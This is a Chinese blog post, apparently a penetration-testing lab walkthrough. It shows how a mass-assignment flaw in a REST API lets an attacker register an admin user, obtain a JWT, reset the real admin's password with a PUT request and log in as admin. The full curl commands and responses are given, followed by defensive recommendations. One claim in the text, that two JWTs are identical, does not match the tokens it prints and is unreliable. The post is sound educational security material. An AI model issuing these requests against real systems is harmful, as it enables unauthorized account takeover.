???? ? 鄭重聲明:?本文所有安全知識與技術,僅用于探討、研究及學習,嚴禁用于違反國家法律法規的非法活動。對于因不當使用相關內容造成的任何損失或法律責任,本人不承擔任何責任。 如需轉載,請注明出處且不得用于商業盈利。?
? ? 💥👉點贊?? 關注🔔 收藏?? 評論💬💥?
? ? 更多文章戳👉Whoami!-CSDN博客🚀
????
𖤐?嘿,經過前面的預熱,我們正式打開這扇門,來吧 !?
𖤐 𝓗𝓮𝔂,?𝓪𝓯𝓽𝓮𝓻 𝔀𝓪𝓻𝓶-𝓾𝓹,𝔀𝓮'𝓻𝓮 𝓷𝓸𝔀?𝓸𝓯𝓯𝓲𝓬𝓲𝓪𝓵𝓵𝔂 𝓸𝓹𝓮𝓷𝓲𝓷𝓰 𝓽𝓱𝓲𝓼 𝓭𝓸𝓸𝓻,𝓒𝓸𝓶𝓮 𝓸𝓷?!?
→ 信息收集
→ 漏洞檢測
→ 初始立足點
→?權限提升??WEB應用攻擊?利用REST API提權-----我們在這兒~?🔥🔥🔥
→ 橫向移動
→ 報告/分析
→ 教訓/修復??
目錄
1.利用REST API提權
1.1 攻擊流程總覽
1.2 攻擊步驟
1.2.1 API端點發現與分析方法
1.2.2?深度枚舉與功能推測
1.2.3 正確API請求構造
1.2.4 發現注冊功能漏洞(users/v1/register)
1.2.5 注冊管理員賬戶(實現關鍵權限)
1.2.6 獲取身份認證令牌
1.2.7 修改用戶admin密碼
1.2.8 使用新密碼成功登錄admin賬戶
1.3 防御建議
1.3.1 漏洞根本原因分析
1.3.2 即時防護措施
1.3.3 長期加固策略
💥創作不易💥求一波暴擊👉點贊?? 關注🔔 收藏?? 評論💬
1.利用REST API提權
該案例展示了不安全的API設計如何導致整個系統淪陷。詳細分析了通過API枚舉發現漏洞,并利用邏輯缺陷實現權限提升的完整攻擊過程。
1.1 攻擊流程總覽
?
1.2 攻擊步驟
1.2.1 API端點發現與分析方法
接上一回,users/v1/admin/password的api內容:
kali@kali:~$ curl -i http://192.168.50.16:5002/users/v1/admin/password
HTTP/1.0 405 METHOD NOT ALLOWED
Content-Type: application/problem+json
Content-Length: 142
Server: Werkzeug/1.0.1 Python/3.7.13
Date: Wed, 06 Apr 2022 10:58:51 GMT
{"detail": "The method is not allowed for the requested URL.","status": 405,"title": "Method Not Allowed", # 這意味著請求的URL存在,但我們的HTTP方法不受支持。"type": "about:blank"
}
初始發現:
-
響應碼為?405 Method Not Allowed?而非404,確認端點存在,但http方法不正確。
-
若響應碼是404 Not Found,表示URL不存在。
💡?默認情況下,curl在執行請求時使用GET方法(只是獲取),因此可以嘗試使用不同的方法(例如POST或PUT)與password API進行交互。
推測:如果在此特定API上允許使用POST和PUT方法,這兩種http方法可以覆蓋用戶憑據(在本例中為管理密碼)。
1.2.2?深度枚舉與功能推測
進一步枚舉發現以下api(命令過程省略):
-
/users/v1/
login?- 用戶登錄端點 -
/users/v1/
register?- 用戶注冊端點
測試登錄功能:(users/v1/login)
login是嘗試猜測的路徑(盲猜),通常這可能是一個用于登錄操作的API端點。
kali@kali:~$ curl -i http://192.168.50.16:5002/users/v1/login# -i,輸出響應頭+響應主體;如果無-i,僅輸出響應主體。
HTTP/1.0 404 NOT FOUND
Content-Type: application/json
Content-Length: 48
Server: Werkzeug/1.0.1 Python/3.7.13
Date: Wed, 06 Apr 2022 12:04:30 GMT{ "status": "fail", "message": "User not found"} # 404的原因是用戶不存在
💡響應分析:盲猜login是登錄頁面是對的。雖然返回404,但錯誤信息"user not found"暗示API端點有效但參數有問題。
也就是說,我們的請求有問題,但API本身并不存在問題。換句話說,我們需要找到一種正確的方式來與API進行交互,才能成功獲取想要的結果。
1.2.3 正確API請求構造
嘗試登錄驗證:使用之前發現的users/v1的API下發現用戶賬戶admin。
kali@kali:~$ curl -d '{"password":"fake","username":"admin"}' -H 'Content-Type:
application/json' http://192.168.50.16:5002/users/v1/login
參數 | 說明 |
---|---|
-d | 進行post請求。后面跟著json格式的請求內容,即:username和password的值。 |
-H | 指定請求頭的Content-Type?為?application/json類型,鍵值對格式。 |
http... | 把這個請求推送到目標API: |
響應結果:用戶名admin
存在,API參數格式正確,僅密碼錯誤,需要輸入正確密碼才能登錄成功。
{ "status": "fail", "message": "Password is not correct for the given username."}
🎯重要!
通過這一步目的是構造API請求格式,以上的反饋說明請求格式正確,僅只是密碼錯誤而已。如果格式不正確返回的肯定不是提示密碼不正確。
1.2.4 發現注冊功能漏洞(users/v1/register)
🔄思路!
由于我們不知道管理員的密碼,嘗試另一條路線:可否注冊新用戶,如果注冊成功則就可以使用新用戶登錄而獲得權限。
嘗試注冊新用戶(嘗試構建注冊請求):初始響應:提示缺少必填字段email
kali@kali:~$ curl -d '{"password":"lab","username":"offsecadmin"}' -H 'Content-Type:
application/json' http://192.168.50.16:5002/users/v1/register{ "status": "fail", "message": "'email' is a required property"}# 根據message反饋,注冊失敗原因:email是一個必填的屬性,需要補充上email字段內容。
添加必需字段后:用戶名offsecadmin注冊成功,證明API參數正確形成。
kali@kali:~$curl -d
'{"password":"lab","username":"offsecadmin","email":"123@offsec.com"}' -H
'Content-Type: application/json' http://192.168.50.16:5002/users/v1/register
{"message": "Successfully registered. Login to receive an auth token.", "status":
"success"}
1.2.5 注冊管理員賬戶(實現關鍵權限)
📡推測!
讓我們嘗試添加admin字段,后面跟著一個True值,來表示這個用戶是管理員(可能是權限設置的一部分)。這一步需要靠經驗,靠嘗試!
嘗試注冊管理員賬戶:
kali@kali:~$curl -d
'{"password":"lab","username":"offsec","email":"pwn@offsec.com","admin":"True"}' -H
'Content-Type: application/json' http://192.168.50.16:5002/users/v1/register{"message": "Successfully registered. Login to receive an auth token.", "status":
"success"}
漏洞利用:成功注冊具有管理員權限的用戶offsec,暴露嚴重的權限控制缺陷。這在設計上是不允許的。
1.2.6 獲取身份認證令牌
使用剛剛新建管理員賬戶offsec登錄(獲取token令牌):
kali@kali:~$curl -d '{"password":"lab","username":"offsec"}' -H 'Content-Type:
application/json' http://192.168.50.16:5002/users/v1/login# 成功登錄,并獲取token令牌(供后續利用)
{"auth_token":
"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2NDkyNzEyMDEsImlhdCI6MTY0OTI3MDkwMSwi
c3ViIjoib2Zmc2VjIn0.MYbSaiBkYpUGOTH-tw6ltzW0jNABCDACR3_FdYLRkew", "message":
"Successfully logged in.", "status": "success"}
成功獲取:JWT身份驗證令牌,用于后續特權操作。
1.2.7 修改用戶admin密碼
嘗試修改密碼:
kali@kali:~$ curl \'http://192.168.50.16:5002/users/v1/admin/password' \-H 'Content-Type: application/json' \-H 'Authorization: OAuth
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2NDkyNzEyMDEsImlhdCI6MTY0OTI3MDkwMSwic
3ViIjoib2Zmc2VjIn0.MYbSaiBkYpUGOTH-tw6ltzW0jNABCDACR3_FdYLRkew' \-d '{"password": "pwned"}'# 以下是響應內容,說明修改密碼的方法-d(post方法)不對,因此要嘗試另一種方法(比如put)
{"detail": "The method is not allowed for the requested URL.","status": 405,"title": "Method Not Allowed","type": "about:blank"
}
參數 | 說明 |
---|---|
http... | 把這個請求推送到目標API:/users/v1/admin/password,修改用戶admin密碼的api |
-H | 指定請求頭的Content-Type?為?application/json類型,鍵值對格式。 |
-H | 'Authorization: OAuth <token>': 請求頭,包含了 OAuth 認證令牌。該令牌用于驗證請求的合法性和授權訪問權限。OAuth 令牌通常表示當前用戶已通過認證,并獲得對相關資源的訪問權限,這里填入的的token表明的是管理員權限。換句話說,所有管理員的權限用token標識。 |
-d | 進行post請求體部分。表示你試圖將管理員密碼更新為?"pwned"。 |
方法調整:服務器返回了一個錯誤響應,應用程序表示使用的方法POST不正確,所以嘗試另一種方法。比如:PUT方法(以及PATCH方法)通常用于替換一個值,而不是通過POST請求創建一個值。所以嘗試從POST改為PUT方法,成功修改管理員密碼。
kali@kali:~$ curl -X 'PUT' \'http://192.168.50.16:5002/users/v1/admin/password' \-H 'Content-Type: application/json' \-H 'Authorization: OAuth
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2NDkyNzE3OTQsImlhdCI6MTY0OTI3MTQ5NCwic
3ViIjoib2Zmc2VjIn0.OeZH1rEcrZ5F0QqLb8IHbJI7f9KaRAkrywoaRUAsgA4' \-d '{"password": "pwned"}'
參數 | 說明 |
---|---|
-X 'PUT' | 指定了HTTP請求方法為?PUT,通常用于更新資源。 |
最終驗證:這次沒有收到錯誤消息,合理推測修改密碼成功。
1.2.8 使用新密碼成功登錄admin賬戶
使用用戶名admin,密碼pwned(修改后的),使用API:/users/v1/login成功登錄,獲得admin的管理員權限。
kali@kali:~$ curl -d '{"password":"pwned","username":"admin"}' -H 'Content-Type:
application/json' http://192.168.50.16:5002/users/v1/login{"auth_token":
"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2NDkyNzIxMjgsImlhdCI6MTY0OTI3MTgyOCwi
c3ViIjoiYWRtaW4ifQ.yNgxeIUH0XLElK95TCU88lQSLP6lCl7usZYoZDlUlo0", "message":
"Successfully logged in.", "status": "success"}
🔐再次注意!
我們會發現管理員admin反饋的token值,和剛剛新建的管理員offsec是一樣的。
進一步證明:這個token用于證明是管理員權限,用于授權使用。
1.3 防御建議
1.3.1 漏洞根本原因分析
漏洞類型 | 具體表現 | 安全影響 |
---|---|---|
權限控制缺失 | 注冊接口可設置admin字段 | 嚴重 |
API方法暴露 | 未禁用危險HTTP方法 | 高 |
錯誤信息泄露 | 詳細錯誤消息暴露系統信息 | 中 |
參數驗證不足 | 缺乏輸入驗證和過濾 | 高 |
1.3.2 即時防護措施
-
🔒?輸入驗證:對所有API參數進行嚴格驗證和過濾
-
🛡??權限檢查:服務器端驗證用戶權限,不信任客戶端提交的權限字段
-
🚫?方法限制:禁用不必要的HTTP方法(PUT、DELETE等)
-
📊?日志監控:記錄所有API訪問和權限變更操作
1.3.3 長期加固策略
-
??API安全設計:遵循API安全最佳實踐
-
🔐?身份驗證強化:實施強身份驗證和授權機制
-
📋?安全測試:定期進行API安全測試和代碼審計
-
🎓?開發培訓:提高開發人員安全編碼意識
💥創作不易💥求一波暴擊👉點贊?? 關注🔔 收藏?? 評論💬
您的支持是我創作最大的動力!